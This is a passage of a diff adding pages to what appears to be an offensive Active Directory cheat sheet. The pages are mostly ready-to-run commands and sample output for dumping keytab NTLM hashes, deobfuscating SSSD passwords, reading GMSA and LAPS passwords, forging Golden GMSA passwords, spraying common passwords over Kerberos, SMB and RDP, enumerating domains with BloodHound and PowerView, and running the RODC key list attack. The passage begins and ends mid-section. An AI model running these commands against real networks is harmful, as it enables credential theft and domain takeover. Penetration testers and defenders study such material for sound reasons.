[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
|
||||
[+] Keytab File successfully imported.
|
||||
REALM : DOMAIN
|
||||
SERVICE PRINCIPAL : host/computer.domain
|
||||
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
|
||||
```
|
||||
|
||||
On macOS you can use `bifrost`.
|
||||
|
||||
```powershell
|
||||
./bifrost -action dump -source keytab -path test
|
||||
```
|
||||
|
||||
Connect to the machine using the account and the hash with CME.
|
||||
|
||||
```powershell
|
||||
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
|
||||
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
```
|
||||
|
||||
|
||||
## Extract accounts from /etc/sssd/sssd.conf
|
||||
|
||||
> sss_obfuscate converts a given password into human-unreadable format and places it into appropriate domain section of the SSSD config file, usually located at /etc/sssd/sssd.conf
|
||||
|
||||
The obfuscated password is put into "ldap_default_authtok" parameter of a given SSSD domain and the "ldap_default_authtok_type" parameter is set to "obfuscated_password".
|
||||
|
||||
```ini
|
||||
[sssd]
|
||||
config_file_version = 2
|
||||
...
|
||||
[domain/LDAP]
|
||||
...
|
||||
ldap_uri = ldap://127.0.0.1
|
||||
ldap_search_base = ou=People,dc=srv,dc=world
|
||||
ldap_default_authtok_type = obfuscated_password
|
||||
ldap_default_authtok = [BASE64_ENCODED_TOKEN]
|
||||
```
|
||||
|
||||
De-obfuscate the content of the ldap_default_authtok variable with [mludvig/sss_deobfuscate](https://github.com/mludvig/sss_deobfuscate)
|
||||
|
||||
```ps1
|
||||
./sss_deobfuscate [ldap_default_authtok_base64_encoded]
|
||||
./sss_deobfuscate AAAQABagVAjf9KgUyIxTw3A+HUfbig7N1+L0qtY4xAULt2GYHFc1B3CBWGAE9ArooklBkpxQtROiyCGDQH+VzLHYmiIAAQID
|
||||
```
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
# Password - AD User Comment
|
||||
|
||||
```powershell
|
||||
$ crackmapexec ldap domain.lab -u 'username' -p 'password' -M user-desc
|
||||
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
|
||||
GET-DESC... 10.0.2.11 389 dc01 [+] Found following users:
|
||||
GET-DESC... 10.0.2.11 389 dc01 User: Guest description: Built-in account for guest access to the computer/domain
|
||||
GET-DESC... 10.0.2.11 389 dc01 User: krbtgt description: Key Distribution Center Service Account
|
||||
```
|
||||
|
||||
There are 3-4 fields that seem to be common in most AD schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`.
|
||||
|
||||
```powershell
|
||||
enum4linux | grep -i desc
|
||||
|
||||
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
|
||||
```
|
||||
|
||||
or dump the Active Directory and `grep` the content.
|
||||
|
||||
```powershell
|
||||
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
|
||||
```
|
|
@ -0,0 +1,71 @@
|
|||
# Password - GMSA
|
||||
|
||||
## Reading GMSA Password
|
||||
|
||||
> User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.
|
||||
|
||||
|
||||
### GMSA Attributes in the Active Directory
|
||||
|
||||
* `msDS-GroupMSAMembership` (`PrincipalsAllowedToRetrieveManagedPassword`) - stores the security principals that can access the GMSA password.
|
||||
* `msds-ManagedPassword` - This attribute contains a BLOB with password information for group-managed service accounts.
|
||||
* `msDS-ManagedPasswordId` - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
|
||||
* `msDS-ManagedPasswordInterval` - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
|
||||
|
||||
|
||||
### Extract NT hash from the Active Directory
|
||||
|
||||
* [mpgn/CrackMapExec](https://github.com/mpgn/CrackMapExec)
|
||||
```ps1
|
||||
# Use --lsa to get GMSA ID
|
||||
crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-convert-id 00[...]99
|
||||
crackmapexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....'
|
||||
```
|
||||
|
||||
* [rvazarkar/GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
|
||||
```ps1
|
||||
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
|
||||
```
|
||||
|
||||
* [micahvandeusen/gMSADumper](https://github.com/micahvandeusen/gMSADumper)
|
||||
```powershell
|
||||
python3 gMSADumper.py -u User -p Password1 -d domain.local
|
||||
```
|
||||
|
||||
* Active Directory Powershell
|
||||
```ps1
|
||||
$gmsa = Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
|
||||
$blob = $gmsa.'msDS-ManagedPassword'
|
||||
$mp = ConvertFrom-ADManagedPasswordBlob $blob
|
||||
$hash1 = ConvertTo-NTHash -Password $mp.SecureCurrentPassword
|
||||
```
|
||||
|
||||
* [kdejoyce/gMSA_Permissions_Collection.ps1](https://gist.github.com/kdejoyce/f0b8f521c426d04740148d72f5ea3f6f#file-gmsa_permissions_collection-ps1) based on Active Directory PowerShell module
|
||||
|
||||
|
||||
## Forging Golden GMSA
|
||||
|
||||
> One notable difference between a **Golden Ticket** attack and the **Golden GMSA** attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.
|
||||
|
||||
:warning: You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and `ManagedPasswordIntervalInDays`, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.
|
||||
|
||||
* Using [GoldenGMSA](https://github.com/Semperis/GoldenGMSA)
|
||||
```ps1
|
||||
# Enumerate all gMSAs
|
||||
GoldenGMSA.exe gmsainfo
|
||||
# Query for a specific gMSA
|
||||
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
|
||||
|
||||
# Dump all KDS Root Keys
|
||||
GoldenGMSA.exe kdsinfo
|
||||
# Dump a specific KDS Root Key
|
||||
GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb
|
||||
|
||||
# Compute gMSA password
|
||||
# --sid <gMSA SID>: SID of the gMSA (required)
|
||||
# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
|
||||
# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
|
||||
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
|
||||
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
|
||||
GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
|
||||
```
|
|
@ -0,0 +1,85 @@
|
|||
# Password - LAPS
|
||||
|
||||
## Reading LAPS Password
|
||||
|
||||
> Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.
|
||||
|
||||
|
||||
### Determine if LAPS is installed
|
||||
|
||||
```ps1
|
||||
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
|
||||
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
|
||||
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
|
||||
```
|
||||
|
||||
|
||||
### Extract LAPS password
|
||||
|
||||
> The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
|
||||
|
||||
- From Windows:
|
||||
|
||||
* adsisearcher (native binary on Windows 8+)
|
||||
```powershell
|
||||
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
|
||||
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
|
||||
```
|
||||
|
||||
* [PowerView](https://github.com/PowerShellEmpire/PowerTools)
|
||||
```powershell
|
||||
PS > Import-Module .\PowerView.ps1
|
||||
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
|
||||
```
|
||||
|
||||
* [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)
|
||||
```powershell
|
||||
$ Get-LAPSComputers
|
||||
ComputerName Password Expiration
|
||||
------------ -------- ----------
|
||||
example.domain.local dbZu7;vGaI)Y6w1L 02/21/2021 22:29:18
|
||||
|
||||
$ Find-LAPSDelegatedGroups
|
||||
$ Find-AdmPwdExtendedRights
|
||||
```
|
||||
|
||||
* Powershell AdmPwd.PS
|
||||
```powershell
|
||||
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
|
||||
```
|
||||
|
||||
- From Linux:
|
||||
|
||||
* [pyLAPS](https://github.com/p0dalirius/pyLAPS) to **read** and **write** LAPS passwords:
|
||||
```bash
|
||||
# Read the password of all computers
|
||||
./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
|
||||
# Write a random password to a specific computer
|
||||
./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
|
||||
```
|
||||
|
||||
* [CrackMapExec](https://github.com/mpgn/CrackMapExec):
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
|
||||
```
|
||||
|
||||
* [LAPSDumper](https://github.com/n00py/LAPSDumper)
|
||||
```bash
|
||||
python laps.py -u 'user' -p 'password' -d 'domain.local'
|
||||
python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
|
||||
```
|
||||
|
||||
* ldapsearch
|
||||
```bash
|
||||
ldapsearch -x -h -D "@" -w -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
|
||||
```
|
||||
|
||||
|
||||
### Grant LAPS Access
|
||||
|
||||
The members of the group **"Account Operator"** can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password
|
||||
|
||||
```ps1
|
||||
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
|
||||
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
|
||||
```
|
|
@ -0,0 +1,12 @@
|
|||
## Password - Pre-Created Computer Account
|
||||
|
||||
When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.
|
||||
|
||||
```ps1
|
||||
# Create a machine with default password
|
||||
# must be run from a domain joined device connected to the domain
|
||||
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
|
||||
```
|
||||
|
||||
* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
|
||||
* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)
|
|
@ -0,0 +1,80 @@
|
|||
# Password - Spraying
|
||||
|
||||
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
|
||||
|
||||
> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
|
||||
|
||||
Most of the time the best passwords to spray are :
|
||||
|
||||
- `P@ssw0rd01`, `Password123`, `Password1`, `Hello123`, `mimikatz`
|
||||
- `Welcome1`/`Welcome01`
|
||||
- $Companyname1 :`$Microsoft1`
|
||||
- SeasonYear : `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
|
||||
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
|
||||
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
|
||||
|
||||
|
||||
## Kerberos pre-auth bruteforcing
|
||||
|
||||
Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
|
||||
|
||||
> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
|
||||
|
||||
* Username bruteforce
|
||||
```powershell
|
||||
root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
|
||||
```
|
||||
* Password bruteforce
|
||||
```powershell
|
||||
root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
|
||||
```
|
||||
* Password spray
|
||||
```powershell
|
||||
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
|
||||
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
|
||||
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
|
||||
```
|
||||
|
||||
|
||||
## Spray a pre-generated passwords list
|
||||
|
||||
* Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
|
||||
```powershell
|
||||
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
|
||||
```
|
||||
* Using `DomainPasswordSpray` to spray a password against all users of a domain.
|
||||
```powershell
|
||||
# https://github.com/dafthack/DomainPasswordSpray
|
||||
Invoke-DomainPasswordSpray -Password Summer2021!
|
||||
# /!\ be careful with the account lockout !
|
||||
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
|
||||
```
|
||||
* Using `SMBAutoBrute`.
|
||||
```powershell
|
||||
Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
|
||||
```
|
||||
|
||||
|
||||
## Spray passwords against the RDP service
|
||||
|
||||
* Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP services.
|
||||
```powershell
|
||||
git clone https://github.com/xFreed0m/RDPassSpray
|
||||
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
|
||||
```
|
||||
* Using [hydra](https://github.com/vanhauser-thc/thc-hydra) and [ncrack](https://github.com/nmap/ncrack) to target RDP services.
|
||||
```powershell
|
||||
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
|
||||
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
|
||||
```
|
||||
|
||||
|
||||
## BadPwdCount attribute
|
||||
|
||||
> The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.
|
||||
|
||||
```powershell
|
||||
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
|
||||
LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: <never>
|
||||
LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: <never>
|
||||
```
|
|
@ -0,0 +1,280 @@
|
|||
# Active Directory Recon
|
||||
|
||||
## Using BloodHound
|
||||
|
||||
Use the correct collector
|
||||
* AzureHound for Azure Active Directory
|
||||
* SharpHound for local Active Directory
|
||||
* RustHound for local Active Directory
|
||||
|
||||
* use [BloodHoundAD/AzureHound](https://github.com/BloodHoundAD/AzureHound) (more info: [Cloud - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md#azure-recon-tools))
|
||||
|
||||
* use [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
|
||||
```powershell
|
||||
# run the collector on the machine using SharpHound.exe
|
||||
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
|
||||
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
|
||||
.\SharpHound.exe -c all -d active.htb --searchforest
|
||||
.\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
|
||||
.\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)
|
||||
|
||||
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
|
||||
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100 -d active.htb
|
||||
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
|
||||
|
||||
# or run the collector on the machine using Powershell
|
||||
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
|
||||
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
|
||||
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
|
||||
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
|
||||
|
||||
# or remotely via BloodHound Python
|
||||
# https://github.com/fox-it/BloodHound.py
|
||||
pip install bloodhound
|
||||
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
|
||||
|
||||
# or locally/remotely from an ADExplorer snapshot from SysInternals (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions)
|
||||
# https://github.com/c3c/ADExplorerSnapshot.py
|
||||
pip3 install --user .
|
||||
ADExplorerSnapshot.py <snapshot path> -o <*.json output folder path>
|
||||
```
|
||||
* Collect more data for certificates exploitation using Certipy
|
||||
```ps1
|
||||
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
|
||||
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
|
||||
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123
|
||||
```
|
||||
* use [OPENCYBER-FR/RustHound](https://github.com/OPENCYBER-FR/RustHound)
|
||||
```ps1
|
||||
# Windows with GSSAPI session
|
||||
rusthound.exe -d domain.local --ldapfqdn domain
|
||||
# Windows/Linux simple bind connection username:password
|
||||
rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z
|
||||
# Linux with username:password and ADCS module for @ly4k BloodHound version
|
||||
rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z
|
||||
```
|
||||
|
||||
Then import the zip/json files into the Neo4J database and query them.
|
||||
|
||||
```powershell
|
||||
root@payload$ apt install bloodhound
|
||||
|
||||
# start BloodHound and the database
|
||||
root@payload$ neo4j console
|
||||
# or use docker
|
||||
root@payload$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/bloodhound -v $(pwd)/neo4j:/data neo4j:4.4-community
|
||||
|
||||
root@payload$ ./bloodhound --no-sandbox
|
||||
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
|
||||
```
|
||||
|
||||
NOTE: Currently BloodHound Community Edition is still a work in progress, it is highly recommended to stay on the original [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound/) version.
|
||||
|
||||
```ps1
|
||||
git clone https://github.com/SpecterOps/BloodHound
|
||||
cd examples/docker-compose/
|
||||
cat docker-compose.yml | docker compose -f - up
|
||||
# UI: http://localhost:8080/ui/login
|
||||
# Username: admin
|
||||
# Password: see your Docker logs
|
||||
```
|
||||
|
||||
|
||||
You can add some custom queries like :
|
||||
* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json)
|
||||
* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json)
|
||||
* [BloodHound Custom Queries from Exegol - @ShutdownRepo](https://raw.githubusercontent.com/ShutdownRepo/Exegol/master/sources/bloodhound/customqueries.json)
|
||||
* [Certipy BloodHound Custom Queries from ly4k](https://github.com/ly4k/Certipy/blob/main/customqueries.json)
|
||||
|
||||
Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.
|
||||
|
||||
|
||||
## Using PowerView
|
||||
|
||||
- **Get Current Domain:** `Get-NetDomain`
|
||||
- **Enum Other Domains:** `Get-NetDomain -Domain <DomainName>`
|
||||
- **Get Domain SID:** `Get-DomainSID`
|
||||
- **Get Domain Policy:**
|
||||
```powershell
|
||||
Get-DomainPolicy
|
||||
|
||||
#Will show us the policy configurations of the Domain about system access or kerberos
|
||||
(Get-DomainPolicy)."system access"
|
||||
(Get-DomainPolicy)."kerberos policy"
|
||||
```
|
||||
- **Get Domain Controlers:**
|
||||
```powershell
|
||||
Get-NetDomainController
|
||||
Get-NetDomainController -Domain <DomainName>
|
||||
```
|
||||
- **Enumerate Domain Users:**
|
||||
```powershell
|
||||
Get-NetUser
|
||||
Get-NetUser -SamAccountName <user>
|
||||
Get-NetUser | select cn
|
||||
Get-UserProperty
|
||||
|
||||
#Check last password change
|
||||
Get-UserProperty -Properties pwdlastset
|
||||
|
||||
#Get a specific "string" on a user's attribute
|
||||
Find-UserField -SearchField Description -SearchTerm "wtver"
|
||||
|
||||
#Enumerate user logged on a machine
|
||||
Get-NetLoggedon -ComputerName <ComputerName>
|
||||
|
||||
#Enumerate Session Information for a machine
|
||||
Get-NetSession -ComputerName <ComputerName>
|
||||
|
||||
#Enumerate domain machines of the current/specified domain where specific users are logged into
|
||||
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
|
||||
```
|
||||
- **Enum Domain Computers:**
|
||||
```powershell
|
||||
Get-NetComputer -FullData
|
||||
Get-DomainGroup
|
||||
|
||||
#Enumerate Live machines
|
||||
Get-NetComputer -Ping
|
||||
```
|
||||
- **Enum Groups and Group Members:**
|
||||
```powershell
|
||||
Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
|
||||
|
||||
#Enumerate the members of a specified group of the domain
|
||||
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
|
||||
|
||||
#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
|
||||
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
|
||||
```
|
||||
- **Enumerate Shares**
|
||||
```powershell
|
||||
#Enumerate Domain Shares
|
||||
Find-DomainShare
|
||||
|
||||
#Enumerate Domain Shares the current user has access
|
||||
Find-DomainShare -CheckShareAccess
|
||||
```
|
||||
- **Enum Group Policies:**
|
||||
```powershell
|
||||
Get-NetGPO
|
||||
|
||||
# Shows active Policy on specified machine
|
||||
Get-NetGPO -ComputerName <Name of the PC>
|
||||
Get-NetGPOGroup
|
||||
|
||||
#Get users that are part of a Machine's local Admin group
|
||||
Find-GPOComputerAdmin -ComputerName <ComputerName>
|
||||
```
|
||||
- **Enum OUs:**
|
||||
```powershell
|
||||
Get-NetOU -FullData
|
||||
Get-NetGPO -GPOname <The GUID of the GPO>
|
||||
```
|
||||
- **Enum ACLs:**
|
||||
```powershell
|
||||
# Returns the ACLs associated with the specified account
|
||||
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
|
||||
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
|
||||
|
||||
#Search for interesting ACEs
|
||||
Invoke-ACLScanner -ResolveGUIDs
|
||||
|
||||
#Check the ACLs associated with a specified path (e.g smb share)
|
||||
Get-PathAcl -Path "\\Path\Of\A\Share"
|
||||
```
|
||||
- **Enum Domain Trust:**
|
||||
```powershell
|
||||
Get-NetDomainTrust
|
||||
Get-NetDomainTrust -Domain <DomainName>
|
||||
```
|
||||
- **Enum Forest Trust:**
|
||||
```powershell
|
||||
Get-NetForestDomain
|
||||
Get-NetForestDomain Forest <ForestName>
|
||||
|
||||
#Domains of Forest Enumeration
|
||||
Get-NetForestDomain
|
||||
Get-NetForestDomain Forest <ForestName>
|
||||
|
||||
#Map the Trust of the Forest
|
||||
Get-NetForestTrust
|
||||
Get-NetDomainTrust -Forest <ForestName>
|
||||
```
|
||||
- **User Hunting:**
|
||||
```powershell
|
||||
#Finds all machines on the current domain where the current user has local admin access
|
||||
Find-LocalAdminAccess -Verbose
|
||||
|
||||
#Find local admins on all machines of the domain:
|
||||
Invoke-EnumerateLocalAdmin -Verbose
|
||||
|
||||
#Find computers were a Domain Admin OR a specified user has a session
|
||||
Invoke-UserHunter
|
||||
Invoke-UserHunter -GroupName "RDPUsers"
|
||||
Invoke-UserHunter -Stealth
|
||||
|
||||
#Confirming admin access:
|
||||
Invoke-UserHunter -CheckAccess
|
||||
```
|
||||
:heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:** \
|
||||
I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->
|
||||
Profit!
|
||||
|
||||
[PowerView 3.0 Tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)
|
||||
|
||||
## Using AD Module
|
||||
|
||||
- **Get Current Domain:** `Get-ADDomain`
|
||||
- **Enum Other Domains:** `Get-ADDomain -Identity <Domain>`
|
||||
- **Get Domain SID:** `Get-DomainSID`
|
||||
- **Get Domain Controlers:**
|
||||
|
||||
```powershell
|
||||
Get-ADDomainController
|
||||
Get-ADDomainController -Identity <DomainName>
|
||||
```
|
||||
|
||||
- **Enumerate Domain Users:**
|
||||
```powershell
|
||||
Get-ADUser -Filter * -Identity <user> -Properties *
|
||||
|
||||
#Get a specific "string" on a user's attribute
|
||||
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
|
||||
```
|
||||
- **Enum Domain Computers:**
|
||||
```powershell
|
||||
Get-ADComputer -Filter * -Properties *
|
||||
Get-ADGroup -Filter *
|
||||
```
|
||||
- **Enum Domain Trust:**
|
||||
```powershell
|
||||
Get-ADTrust -Filter *
|
||||
Get-ADTrust -Identity <DomainName>
|
||||
```
|
||||
- **Enum Forest Trust:**
|
||||
```powershell
|
||||
Get-ADForest
|
||||
Get-ADForest -Identity <ForestName>
|
||||
|
||||
#Domains of Forest Enumeration
|
||||
(Get-ADForest).Domains
|
||||
```
|
||||
- **Enum Local AppLocker Effective Policy:**
|
||||
```powershell
|
||||
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
```
|
||||
|
||||
## Other Interesting Commands
|
||||
|
||||
- **Find Domain Controllers**
|
||||
```ps1
|
||||
nslookup domain.com
|
||||
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
|
||||
nltest /dclist:domain.com
|
||||
Get-ADDomainController -filter * | Select-Object name
|
||||
gpresult /r
|
||||
$Env:LOGONSERVER
|
||||
echo %LOGONSERVER%
|
||||
```
|
||||
|
|
@ -0,0 +1,45 @@
|
|||
# RODC - Read Only Domain Controller
|
||||
|
||||
RODCs are an alternative for Domain Controllers in less secure physical locations
|
||||
- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
|
||||
- Any user or group specified in the **managedBy** attribute of an RODC has local admin access to the RODC server
|
||||
|
||||
|
||||
## RODC Golden Ticket
|
||||
|
||||
* You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s **msDS-RevealOnDemandGroup** attribute and not in the RODC’s **msDS-NeverRevealGroup** attribute
|
||||
|
||||
|
||||
## RODC Key List Attack
|
||||
|
||||
**Requirements**:
|
||||
* [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
|
||||
* **krbtgt** credentials of the RODC (-rodcKey)
|
||||
* **ID of the krbtgt** account of the RODC (-rodcNo)
|
||||
|
||||
* using Impacket
|
||||
```ps1
|
||||
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
|
||||
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
|
||||
|
||||
# keylistattack.py defining a target username (-t flag)
|
||||
keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
|
||||
|
||||
# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
|
||||
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
|
||||
```
|
||||
* Using Rubeus
|
||||
```ps1
|
||||
